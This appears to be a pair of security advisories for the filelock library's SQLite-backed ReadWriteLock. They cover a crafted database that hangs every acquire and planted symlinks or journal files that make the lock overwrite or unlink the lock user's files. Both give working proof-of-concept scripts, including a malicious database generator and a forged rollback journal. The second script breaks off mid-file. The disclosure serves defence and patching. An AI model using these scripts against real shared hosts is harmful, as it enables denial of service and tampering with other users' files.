See how tox-dev compares to other vendors in security performance
ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) run PRAGMA journalmode=MEMORY on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the sqlitemaster table, which lists every table and index with its CREATE text) of whatever file sits at the lock path. The caller's timeout reaches SQLite only as busytimeout, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a ReadWriteLock's database path can therefore make every acquireread / acquirewrite of every process using that lock ignore its timeout and blocking=False. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.
One 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.
Anthropic's OSS Scanner reported this in private as ANT-2026-NFPRHMYJ [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H scores 5.5 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. AC:L (low attack complexity): the other user plants one file; no race. UI:N (no user interaction). A:H (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with timeout and blocking=False ignored and SIGINT not delivered, so only killing the process ends it. C:N and I:N (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. S:U (scope unchanged).
Classification from the external review: conditional security, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.
Scope and preconditions
- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (0666), which is the setup a lock shared between accounts needs. In a 1777 directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is 0666. - Sticky directories and kernel settings. In a sticky world-writable directory such as /tmp, Linux with fs.protectedregular=2 (a kernel setting) refuses the lock user's OCREAT open of a file owned by the other account with EACCES. A database owned by the other user does not work there. That does not cover a 0666 database owned by the lock user. The scanner did not test systems with fs.protectedregular=0 (the kernel's own default). - Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.
Affected code
At the scanned commit b831496b0273: configureandbegin runs PRAGMA busytimeout=...; PRAGMA journalmode=MEMORY; on a fresh connection, and for a read lock SELECT name FROM sqlitemaster LIMIT 1 at line 832. The code in doacquireinner closes the previous connection and opens a new one on every acquire. The only content checks are openlockdatabase (regular file) and raiseifwal (20 header bytes).
Introduced
The acquire path dates from cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)", 2026-02-12), first released in 3.20.4 (verified: git tag --contains cfd4446 gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.
Mechanism
PRAGMA journalmode=MEMORY is the first statement that needs the schema. SQLite reads every row of sqlitemaster and parses each row's sql text there. Run one at a time on the crafted file, PRAGMA busytimeout returns at once and PRAGMA journalmode=MEMORY takes the whole time. The read-mode SELECT needs the schema too. The caller's timeout reaches SQLite only as busytimeout (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. blocking=False and timeout=0 reach SQLite as busytimeout=0 and stall the same way (2.4 s each with a 5-row file). acquirewrite runs the same pragma. AsyncReadWriteLock.readlock(timeout=1) stalls the same way (4.7 s with 10 rows; wrapping the acquire in asyncio.waitfor(..., 2) does not return earlier). A second acquireread on the same instance stalls for as long as the first.
The constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in configureandbegin at the executescript call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.
Long schema rows. Each sqlitemaster row is ('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…') with an sql text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the "next overflow page" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid CREATE TABLEs, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise Timeout.
Measured with readlock(timeout=1): 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises MemoryError from line 816.
Looping interior pages. The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls readlock(timeout=1) for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).
At the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are sqlitemaster interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of sqlitemaster by 661.
The row is not a valid schema entry, and that does not stop the scan: SQLite raises sqlite3.DatabaseError: malformed database schema (?) only after the last row. One level raises DatabaseError at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file acquirewrite(timeout=1), acquireread(blocking=False) and acquireread(timeout=0) spin on the same line. SIGINT does not raise KeyboardInterrupt (the process was still running at 100% CPU 4 s after kill -INT), because the thread does not leave the one SQLite call.
Reproduction
The scanner's reproducer for ANT-2026-NFPRHMYJ, quoted as received. It ran against commit b831496b0273.
repro
python #!/usr/bin/env python3 import os import resource import shutil import subprocess import sys import time
set up: a cache directory both accounts can write, without the sticky bit shareddir = "/tmp/shared-cache" shutil.rmtree(shareddir, ignoreerrors=True) os.mkdir(shareddir) os.chmod(shareddir, 0o777) lockdb = f"{shareddir}/cache.lock.db"
attack: the attacker creates the lock database first, with 50 schema rows subprocess.run( [sys.executable, "/tmp/repro.d/makestallingdb.py", lockdb, "50"], user="attacker", group="attacker", extragroups=[], check=True, ) print("lock database uses", os.stat(lockdb).stblocks 512, "bytes of disk", flush=True)
victim: an application takes the read lock with a one-second timeout started = time.monotonic() subprocess.run( [sys.executable, "/tmp/repro.d/victimreader.py", lockdb], user="victim", group="victim", extragroups=[], timeout=600, ) victimranfor = time.monotonic() - started
check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout victimpeakrssmb = resource.getrusage(resource.RUSAGECHILDREN).rumaxrss // 1024 # the victim is the largest child print(f"victim process ran for {victimranfor:.1f} s, peak RSS {victimpeakrssmb} MB") print("BUG" if victimranfor > 10 else "OK")
repro.d/makestallingdb.py
python #!/usr/bin/env python3 usage: makestallingdb.py <database path> <number of schema rows> Writes a SQLite database whose sqlitemaster rows each carry ~1 GB of sql text, stored in a few 4 KB pages: every row's text continues on one overflow page whose "next overflow page" field names itself. import os import struct import sys
database, schemarows = sys.argv[1], int(sys.argv[2])
PAGESIZE = 4096 LOOPPAGE = 2 COMMENTLEN = 999999000 # keeps each sql text just under SQLite's 1,000,000,000-byte string limit CLAIMEDPAGES = COMMENTLEN // PAGESIZE + 2 # SQLite refuses a record longer than page size x pages in the file TABLEINTERIORPAGE, TABLELEAFPAGE = 0x05, 0x0D
def varint(value): groups = [value & 0x7F] while value := value >> 7: groups.insert(0, value & 0x7F | 0x80) return bytes(groups)
def schemarowcell(rowid): # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error name = b"t%04d" % rowid sqlstart = b"CREATE TABLE " + name + b"(x) --" sqllen = len(sqlstart) + COMMENTLEN serialtypes = b"".join(varint(t) for t in [13 + 2 5, 13 + 2 len(name), 13 + 2 len(name), 1, 13 + 2 sqllen]) recordstart = varint(1 + len(serialtypes)) + serialtypes + b"table" + name + name + b"\x02" + sqlstart recordlen = len(recordstart) + COMMENTLEN # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page minlocal, maxlocal = (PAGESIZE - 12) 32 // 255 - 23, PAGESIZE - 35 local = minlocal + (recordlen - minlocal) % (PAGESIZE - 4) if local > maxlocal: local = minlocal return varint(recordlen) + varint(rowid) + recordstart.ljust(local, b"A") + struct.pack(">I", LOOPPAGE)
def btreepage(pagetype, cells, rightchild=b"", headeroffset=0): page = bytearray(PAGESIZE) contentstart = PAGESIZE cellpointers = b"" for cell in cells: contentstart -= len(cell) page[contentstart : contentstart + len(cell)] = cell cellpointers += struct.pack(">H", contentstart) header = struct.pack(">BHHHB", pagetype, 0, len(cells), contentstart, 0) + rightchild + cellpointers page[headeroffset : headeroffset + len(header)] = header return page
pages 3 and up: the leaves of sqlitemaster, about eight rows each cells = [schemarowcell(rowid) for rowid in range(1, schemarows + 1)] rowsperleaf = (PAGESIZE - 8) // (len(cells[0]) + 2) leaves = [btreepage(TABLELEAFPAGE, cells[i : i + rowsperleaf]) for i in range(0, schemarows, rowsperleaf)]
page 2: the overflow page, pointing at itself, then 4092 bytes of comment text looppage = struct.pack(">I", LOOPPAGE) + b"A" (PAGESIZE - 4)
page 1: the database header, then the root of sqlitemaster with one child per leaf firstleaf, lastleaf = 3, 3 + len(leaves) - 1 children = [struct.pack(">I", firstleaf + i) + varint((i + 1) rowsperleaf) for i in range(len(leaves) - 1)] rootpage = btreepage(TABLEINTERIORPAGE, children, rightchild=struct.pack(">I", lastleaf), headeroffset=100) rootpage[:100] = b"".join([ b"SQLite format 3\0", struct.pack(">H", PAGESIZE), bytes([1, 1]), # file format versions: rollback journal, not WAL (which ReadWriteLock refuses) bytes([0, 64, 32, 32]), # reserved bytes per page and the three fixed payload fractions struct.pack(">I", 1), # file change counter struct.pack(">I", CLAIMEDPAGES), # database size in pages struct.pack(">II", 0, 0), # no freelist struct.pack(">II", 1, 4), # schema cookie, schema format struct.pack(">II", 0, 0), # default cache size, no auto-vacuum struct.pack(">I", 1), # text encoding: UTF-8 struct.pack(">III", 0, 0, 0), # user version, incremental vacuum, application id bytes(20), struct.pack(">I", 1), # version-valid-for equals the change counter, so SQLite trusts the page count above struct.pack(">I", 3040001), # SQLite version that wrote the file ])
with open(database, "wb") as file: file.write(rootpage + looppage + b"".join(leaves)) written = file.tell() file.truncate(CLAIMEDPAGES PAGESIZE) # SQLite also refuses a file shorter than it claims; this stays a hole os.chmod(database, 0o666) # the victim's ReadWriteLock opens the database read-write print(f"attacker: wrote {database}: {schemarows} schema rows in {written} bytes, apparent size {CLAIMEDPAGES PAGESIZE}")
repro.d/victimreader.py
python import sys import time
from filelock import ReadWriteLock, Timeout
lock = ReadWriteLock(sys.argv[1]) started = time.monotonic() try: with lock.readlock(timeout=1): outcome = "acquired" except Timeout: outcome = "timed out" print(f"victim: readlock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s")
Failure sequence
mermaid flowchart TB P0["other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user"] --> P1["lock user's acquireread(timeout=1) opens a fresh connection, header is not WAL so it is accepted"] P1 --> P2["PRAGMA busytimeout then PRAGMA journalmode=MEMORY loads all of sqlitemaster, busytimeout does not apply to schema loading"] P2 --> P3["50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout"] P2 --> P4["6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed"] classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332; classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000; classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a; class P0,P1,P2 info; class P3,P4 bad;
Evidence
The scanner's reproducer runs as root and drops to attacker and victim. It recreates /tmp/shared-cache with mode 0777 and no sticky bit. It runs makestallingdb.py /tmp/shared-cache/cache.lock.db 50 as attacker. That script writes the header and the sqlitemaster root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid CREATE TABLE tNNNN(x) --AAAA… rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode 0666. It then runs victimreader.py (ReadWriteLock(path) and one with lock.readlock(timeout=1):) as victim and times it:
attacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632 lock database uses 36864 bytes of disk victim: readlock(timeout=1) acquired after 24.6 s victim process ran for 24.8 s, peak RSS 981 MB BUG
The verdict is BUG when the victim process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (loopingdb.py) builds the looping file; the same victimreader.py run on it as victim does not return. A victim process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a 1777 directory a 0666 database owned by victim, overwritten in place with the looping file, hung the next acquire.
Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head the victim process stops with a ValueError after 0.1 s at 24 MB peak RSS and the reproducer prints OK.
Impact
Another local user who can create or replace the lock database makes every acquireread / acquirewrite of every process using that ReadWriteLock run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of timeout or blocking=False. This goes beyond what holding the lock gives that user, because a held lock ends in Timeout when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, Timeout is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.
Workarounds
- Keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. - Do not give the lock a database another account may write. The lock creates its database 0600, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a 0666 database stays reachable even in /tmp. - If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/834
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it - 2026-10-16 01:15 UTC: fix PR #834 opened
ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to /proc/self/fd/<n>, a Linux path that names the process's own open file n. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on -journal, -wal and -shm files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.
Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary readlock() or writelock() write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as /tmp a planted -wal file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the /proc/self/fd redirect since 4.0.9, the side-file variants since 3.20.4).
Anthropic's OSS Scanner reported this in private as ANT-2026-KMJ2575J [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H scores 7.1 (High). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. I:H (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. A:H (high availability impact): the other user makes every acquire fail or kills the lock holder. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.
Classification from the external review: conditional security, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.
Scope and preconditions
- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a 0777 directory or a group-writable one (including a setgid 2775 project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is 0666. filelock itself creates the database 0600. - Sticky directories (/tmp, /var/tmp, any 1777 directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with fs.protectedregular=2). What remains is a planted non-empty <db>-wal (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise sqlite3.OperationalError: disk I/O error. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if fs.protectedhardlinks=0. - Two kernel settings matter. fs.protectedregular (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in /tmp, and SQLite follows a planted symlink itself (not tested). fs.protectedhardlinks=1 (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory. - Platform and route. The /proc/self/fd redirect is Linux with /proc mounted, 4.0.9 and later. The side-file variants (-journal, -wal, -shm) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without /proc) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
Affected code
At the scanned commit b831496b0273: connectthroughdescriptor builds /proc/self/fd/<n> and hands it to sqlite3.connect. The assumption is the comment at line 63, "Descriptor paths reopen the validated inode" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at PRAGMA journalmode=MEMORY, line 816. The check in raiseifdatabasereplaced at line 836 runs only after BEGIN. Both openlockdatabase and raiseifwal inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is linkbeside.
Introduced
The /proc/self/fd redirect came with 4d45e83 ("Merge commit from fork", the fix for GHSA-j8f7-rjxc-mr56), first released in 4.0.9 (verified: git tag --contains 4d45e83 gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)"), first released in 3.20.4 (verified), which passed the lock path straight to sqlite3.connect.
Mechanism
On Linux the lock opens the database with ORDWR|OCREAT|ONOFOLLOW|ONONBLOCK. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls sqlite3.connect("/proc/self/fd/<n>") and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs readlink() on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows readlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db" and then a second openat of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is <database> (deleted). A symlink with that exact name sends SQLite wherever its creator chose.
The other user prepares the directory before the lock user runs. They create a database cache.lock.db (0666, so the lock user's lock accepts it) with a second hard link cache.lock.db.keep, and the symlink cache.lock.db (deleted) -> /tmp/victim-notes.txt. The lock user's os.open raises an inotify INOPEN event. The other user unlinks cache.lock.db and links cache.lock.db.keep back under the same name. The lock user's descriptor still refers to the unlinked entry, so /proc/self/fd/3 now reads /tmp/shared-cache/cache.lock.db (deleted). sqlite3.connect resolves it, follows the symlink and opens the target ORDWR|OCREAT. None of filelock's checks look at that file. openlockdatabase and raiseifwal inspect descriptor 3. raiseifdatabasereplaced compares an lstat of the lock path with the descriptor's (stdev, stino), which passes because the other user linked the same inode back, and it runs only after BEGIN.
The damage comes from the first statement, PRAGMA journalmode=MEMORY. SQLite finds <target>-journal, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):
openat("/tmp/shared-cache/cache.lock.db", ORDWR|OCREAT|ONONBLOCK|ONOFOLLOW|OCLOEXEC, 0600) = 3 readlink("/proc/3819/fd/3", "/tmp/shared-cache/cache.lock.db (deleted)", 4096) = 41 readlink("/tmp/shared-cache/cache.lock.db (deleted)", "/tmp/victim-notes.txt", 4096) = 21 openat("/tmp/victim-notes.txt", ORDWR|OCREAT|ONOFOLLOW|OCLOEXEC, 0644) = 4 openat("/tmp/victim-notes.txt-journal", ORDWR|ONOFOLLOW|OCLOEXEC) = 5 pread64(5, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 516) = 4096 pwrite64(4, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 0) = 4096 unlink("/tmp/victim-notes.txt-journal") = -1 EPERM -> "disk I/O error"
The redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with OCREAT. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, 0644, owned by the lock user) and raised nothing. With the symlink pointing at a 0600 WAL-mode SQLite database of the lock user, writelock() returned without error and the database's header bytes 18 and 19 changed from 2 2 to 1 1. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.
Side-file names beside the database. Two comments record the belief that SQLite names its side files after the descriptor path (line 63, line 1095). The path is not synthetic to SQLite. It derives <database>-journal, <database>-wal and <database>-shm from the resolved real path in the shared directory. journalmode=MEMORY governs only journals SQLite would write, not ones it finds. These variants need no redirect.
A hot -journal makes the lock user unlink a file the journal names; no race. The other user unlinks the lock user's empty lock.db, puts a one-page SQLite database (0666) in its place, and writes a 46-byte lock.db-journal: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a "super-journal", and recovery ends by unlinking that file. The lock user's next readlock() or writelock() returns without error and the named file is gone (unlink("/home/victim/private/notes.txt") = 0, from a 0700 directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as lock.db-journal instead blocks readlock(timeout=2) in SQLite's open() of the journal (still blocked when killed after 10 s).
A re-planted -wal puts the holder in WAL mode past raiseifwal. raiseifwal checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats <db>-wal, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks -wal and -shm. The BEGIN at line 833 is a separate statement that starts unlocked and stats <db>-wal again. Re-creating the 32-byte -wal in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.
The lock user's with lock.writelock(): then holds the -shm byte-120 WAL write lock and only SHARED on the database. Once the other user removes the -wal, a second process of the lock user gets readlock(timeout=1) granted while the writer is inside its block, with no exception on either side. SQLite also creates <db>-shm with the database's permission bits (0666) and keeps it mapped into memory. After the other user truncates it, the writer dies with SIGBUS (the signal for touching a mapped file region that no longer exists) in connection.rollback() during release().
A -wal in a sticky directory makes every acquire raise; no race, no access to the database. Beside the lock user's own empty 0600 database, a non-empty <db>-wal (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a 1777 directory the lock user cannot unlink another user's file (unlink(...) = -1 EPERM), so the pragma fails with SQLITEIOERRDELETE. The code in doacquireinner translates only "database is locked" into Timeout. sqlite3.OperationalError: disk I/O error therefore leaves every acquireread() / acquirewrite() (and the async variants) within milliseconds, whatever timeout or blocking says, until the file's owner or root removes it.
Further effects observed at this commit in a non-sticky directory. A 0755 script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises file is not a database). A hard link to the lock user's 0600 ~/.profile at the lock path does the same in a sticky /tmp when fs.protectedhardlinks=0. When the locking process runs as root, SQLite runs fchown on a -wal or -shm it opens to match the owner of the database, so root's 0600 service.env renamed to app.lock.db-wal belonged to the other user after root's readlock().
A journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so acquireread returns with no lock held in /proc/locks and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte lock.db-wal plus a lock.db-shm on which the other user holds two byte locks makes the acquire take 10 s regardless of timeout and raise locking protocol, or die with SIGBUS if the other user truncates the -shm.
The hard-link route in a directory without the sticky bit. None of the above occurs on the linkbeside branch (macOS, Linux without /proc). There SQLite's main file is .filelock-…/lock.db in the connecting user's 0700 directory. That protection holds only where no other user can rename the .filelock- entry itself, because 0700 protects the contents, not the entry in the parent. linkbeside checks the link once and returns a pathname, and every later use is by that name.
With /proc hidden in a 0777 directory, the other user staged a directory holding a hard link lock.db to a one-page database and a hot lock.db-journal. They held BEGIN EXCLUSIVE on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's .filelock- directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with EPERM.
Reproduction
The scanner's reproducer for ANT-2026-KMJ2575J, quoted as received. It ran against commit b831496b0273.
repro
python #!/usr/bin/env python3 import os import shutil import subprocess import sys
asvictim = {"user": "victim", "group": "victim", "extragroups": []} asattacker = {"user": "attacker", "group": "attacker", "extragroups": []}
set up: the lock database lives in a shared cache directory, 0777 and not sticky shareddir = "/tmp/shared-cache" lockdb = shareddir + "/cache.lock.db" shutil.rmtree(shareddir, ignoreerrors=True) os.mkdir(shareddir) os.chmod(shareddir, 0o777)
set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write target = "/tmp/victim-notes.txt" for leftover in (target, target + "-journal"): if os.path.lexists(leftover): os.unlink(leftover) original = b"original victim notes\n" with open(target, "wb") as notes: notes.write(original) shutil.chown(target, "victim", "victim") os.chmod(target, 0o600) directwrite = subprocess.run( [sys.executable, "-c", "import sys; open(sys.argv[1], 'r+b')", target], captureoutput=True, text=True, asattacker ) print("attacker opening the target for writing:", directwrite.stderr.strip().splitlines()[-1]) assert directwrite.returncode != 0
attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target content = "ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n" subprocess.run([sys.executable, "/tmp/repro.d/planthotjournal.py", target, content], check=True, asattacker) redirect = subprocess.Popen( [sys.executable, "/tmp/repro.d/redirectlockdb.py", lockdb, target], stdout=subprocess.PIPE, text=True, asattacker ) assert redirect.stdout.readline() == "ready\n"
the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times for run in range(1, 21): victim = subprocess.run( [sys.executable, "/tmp/repro.d/victimapp.py", lockdb], captureoutput=True, text=True, timeout=60, asvictim ) with open(target, "rb") as notes: after = notes.read() if after != original: break redirect.kill() redirect.wait()
check: taking a lock on cache.lock.db must leave the victim's notes alone print(f"victim run {run}: exit status {victim.returncode}:", (victim.stderr.strip() or "no error").splitlines()[-1]) status = os.stat(target) print("target owner, mode, size:", status.stuid, oct(status.stmode & 0o7777), status.stsize) print("target before:", original) print("target after: ", after[:60]) print("BUG" if after == content.encode().ljust(4096, b"\0") else "OK")
repro.d/planthotjournal.py
python #!/usr/bin/env python3 """The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT."""
import os import struct import sys
target, content = sys.argv[1], sys.argv[2].encode() journalpath = target + "-journal"
https://www.sqlite.org/fileformat2.html#therollbackjournal JOURNALMAGIC = bytes.fromhex("d9d505f920a163d7") pagesize, sectorsize, nonce = 4096, 512, 0x11223344 recordcount = 1 pagesafterrollback = 1 # SQLite truncates TARGET to this many pages header = JOURNALMAGIC + struct.pack(">IIIII", recordcount, nonce, pagesafterrollback, sectorsize, pagesize)
pagenumber = 1 # page 1 starts at offset 0 pageimage = content.ljust(pagesize, b"\0") SQLite's pagercksum(): the nonce plus every 200th byte, counting down from pagesize - 200 checksum = (nonce + sum(pageimage[i] for i in range(pagesize - 200, 0, -200))) & 0xFFFFFFFF record = struct.pack(">I", pagenumber) + pageimage + struct.pack(">I", checksum)
with open(journalpath, "wb") as journal: journal.write(header.ljust(sectorsize, b"\0") + record) os.chmod(journalpath, 0o666) # the victim's SQLite opens a hot journal ORDWR
repro.d/redirectlockdb.py
python #!/usr/bin/env python3 """The attacker: make the victim's SQLite, connecting through /proc/self/fd/<n>, open TARGET instead of LOCKDB."""
import ctypes import os import sys
